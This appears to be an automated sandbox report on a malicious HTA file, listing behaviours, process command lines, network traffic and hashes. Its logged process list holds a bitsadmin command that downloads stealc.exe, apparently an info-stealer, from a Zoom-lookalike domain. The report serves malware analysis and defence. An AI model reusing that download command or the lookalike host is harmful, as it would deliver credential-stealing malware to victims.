Analysis Overview
SHA256
a8bc9a4c9133c21962a6abd9b0bade6ee609df84c0e69c957d6a1b3ff2fcb49e
Threat Level: Likely malicious
The file 92a8cc4e385f170db300de8d423686eeeec72a32475a9356d967bee9e3453138.zip was found to be: Likely malicious.
Malicious Activity Summary
Download via BitsAdmin
Blocklisted process makes network request
Detected potential entity reuse from brand GOOGLE.
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Kills process with taskkill
Delays execution with timeout.exe
Modifies Internet Explorer settings
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-09 00:07
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-09 00:07
Reported
2024-11-09 00:08
Platform
win7-20241010-en
Max time kernel
34s
Max time network
35s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
Download via BitsAdmin
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
Detected potential entity reuse from brand GOOGLE.
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\timeout.exe | N/A |
Delays execution with timeout.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\timeout.exe | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\92a8cc4e385f170db300de8d423686eeeec72a32475a9356d967bee9e3453138.hta"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c timeout /t 30 /nobreak > nul && taskkill /F /PID
C:\Windows\SysWOW64\bitsadmin.exe
"C:\Windows\System32\bitsadmin.exe" /transfer myDownloadJob /download /priority foreground https://us18web-zoom.us/stealc.exe C:\Users\Admin\AppData\Local\Temp\stealc.exe
C:\Windows\SysWOW64\timeout.exe
timeout /t 30 /nobreak
C:\Windows\SysWOW64\taskkill.exe
taskkill /F /PID
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | support.google.com | udp |
| GB | 172.217.169.14:443 | support.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.187.227:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 142.250.187.227:80 | o.pki.goog | tcp |
| US | 8.8.8.8:53 | us18web-zoom.us | udp |
Files
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5GWW47WY\favicon[1].ico
| MD5 | f3418a443e7d841097c714d69ec4bcb8 |
| SHA1 | 49263695f6b0cdd72f45cf1b775e660fdc36c606 |
| SHA256 | 6da5620880159634213e197fafca1dde0272153be3e4590818533fab8d040770 |
| SHA512 | 82d017c4b7ec8e0c46e8b75da0ca6a52fd8bce7fcf4e556cbdf16b49fc81be9953fe7e25a05f63ecd41c7272e8bb0a9fd9aedf0ac06cb6032330b096b3702563 |
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-09 00:07
Reported
2024-11-09 00:09
Platform
win10v2004-20241007-en
Max time kernel
148s
Max time network
151s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
Detected potential entity reuse from brand GOOGLE.
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
Processes
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\92a8cc4e385f170db300de8d423686eeeec72a32475a9356d967bee9e3453138.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | support.google.com | udp |
| GB | 172.217.169.14:443 | support.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 14.169.217.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 227.187.250.142.in-addr.arpa | udp |
| GB | 142.250.187.227:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 142.250.187.227:80 | o.pki.goog | tcp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.150.49.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 200.163.202.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.42.69.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 23.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 83.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 48.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.210.23.2.in-addr.arpa | udp |